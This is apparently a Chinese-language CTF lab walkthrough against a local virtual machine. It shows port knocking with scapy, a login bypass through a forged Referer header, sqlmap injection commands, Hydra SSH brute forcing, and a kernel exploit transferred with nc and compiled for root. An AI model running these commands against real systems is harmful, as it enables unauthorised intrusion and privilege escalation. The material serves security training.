总结:
- Knock敲门程序是CTF中比较常见的,我们需要在规定时间内按照指定顺序对端口进行SYN的请求才能开放具有突破口的端口服务
- Scapy模块可以灵活的构造数据包
- 对于可疑文件使用file binwalk strings等命令进行查看
- Foremost命令可以分离文件
- Nc –l port > x.x 用来接收文件
- 对于提权与渗透前期是一样的,都需要前期的信息收集,例如netstat查看当前开放的服务是否有机会提权,编辑器是否可以直接修改/etc/pass文件,.bash_history一些历史记录,var下面的emali文件夹是否存在有用的信息,sudo –l 那些命令可以不需要密码就可以以root权限执行以及内核漏洞等等。
- Linux提权可以使用提权检测脚本会比较方便,
发现目标主机
目标主机IP:192.168.49.148
探测端口以及banner信息
开放22端口ssh服务但是33447是未知的
我们先连接ssh端口查看下信息
在之前的靶机中遇到过knock程序,简单来讲就是在规定时间内按照顺序依次向指定端口发送SYN请求后就会开放某个端口,显然这里是让我们依次向3 2 1端口一次发送SYN请求包然后33447就会对我们开放。
发送SYN请求包方法有很多,nmap扫描器中使用-sS参数就是SYN扫描
nmap –sS –p 3,2,1 192.168.49.148
我们这里使用scapy模块自己构造数据包进行发送请求,这样子比较灵活一点。
sr1(IP(dst=”192.168.49.148”)/TCP(dport=3,flags=”S”))
sr1(IP(dst=”192.168.49.148”)/TCP(dport=2,flags=”S”))
sr1(IP(dst=”192.168.49.148”)/TCP(dport=1,flags=”S”))
再使用nmap进行端口服务的探测
此时33447端口对我们开放了
使用浏览器打开
惯例,查看源码有没有提示信息-----卒
使用dirb进行目录扫描,找到一些可能有突破点的目录
还有nikto对主机的端口开放进行扫描
这两次扫描都对/bin目录体现出来,访问/bin目录
针对登录框,我尝试弱口令,前台验证,SQL注入等都没有成功,但是我们获取了他发送的目标页面
直接访问这个路径
http://192.168.49.148:33447/bin/includes/validation.php
尝试dirb爆破出的其他路径
http://192.168.49.148:33447/bin/dashboard.php
依然查看下源码有没有信息提供------卒
当我们点击login的时候他会跳转到登陆页面index.php
这里可能是我们在登陆页面成功后跳转到这个页面但是会提示登陆成功
看到bp的请求包中存在referer头是验证你从哪里来的
如果我们请求http://192.168.49.148:33447/bin/dashboard.php的时候附带erferer头信息表明我们是从登陆页面来的会不会提示登陆成功?但是这里我们要注意的是登陆页面的真实路径是http://192.168.49.148:33447/bin/includes/validation.php,抓登陆的请求包就可以看到也可以从登陆页面的前端中查看
进行erferer头的尝试
Referer:http://192.168.49.148:33447/bin/includes/validation.php
结果发现登陆成功
我们跳转到这个页面http://192.168.49.148:33447/bin/l33t_haxor.php
图片加载失败了
查看前端源码
好家伙,是不是不把我sqlmap放在眼里
先看看有没有注入点,有的话直接sqlmap了
存在注入点
使用sqlmap的时候可以尝试添加tamper
sqlmap --url="http://192.168.49.148:33447/bin/l33t_haxor.php?id=1" --tamper=space2comment.py --dbs -v
获取到数据库信息
继续获取secure_login数据库的表信息
sqlmap --url="http://192.168.49.148:33447/bin/l33t_haxor.php?id=1" --tamper=space2comment.py -D secure_login –tables
这里对我们提示UB3R/strcpy.exe路径下存在一个exe文件,下载下来进行查看
使用file命令以及binwalk命令查看文件类型以及文件是否存在捆绑
是个rar的压缩包,我们使用unrar x 命令进行解压
获取到一个txt文件以及图片文件
我们再对图片进行格式的查看
图片中依然存在rar文件,再次进行解压
查看txt文件
我们获取到了连接文件
查看连接文件的内容
这里存在一个像是base64编码后的字符串
之前遇到过这种坑,有的作者喜欢把密码设置成酷似base64编码的字符串例如xxxx==实际上他就是明文密码但是我们非要解码后登陆就容易心态炸。
我们先base64解码一下
NooB@123
NooB@123这个应该就是密码了,我们从xml文件中的字符串设置为用户名字典,使用九头蛇进行ssh爆破
设置用户名字典
使用九头蛇进行爆破
获取ssh登陆密码makke NooB@123
连接主机
开始进行提权
查看老旧版本内核
在本地开启python的http服务蛋疼的是靶机中居然没有wget
莫得关系,我们使用nc进行文件传输,nc要是没有我就CV工程。
靶机中我们设置监听9995端口并将之后传输的文件保存到1.c
nc –l 9995 > 1.c
Kali中我们使用nc传输37292.c文件
nc 目标ip 目标端口 < 要传输的文件
nc 192.168.49.148 9995 < 37292.c
传输到靶机中赋予权限后gcc编译
查找flag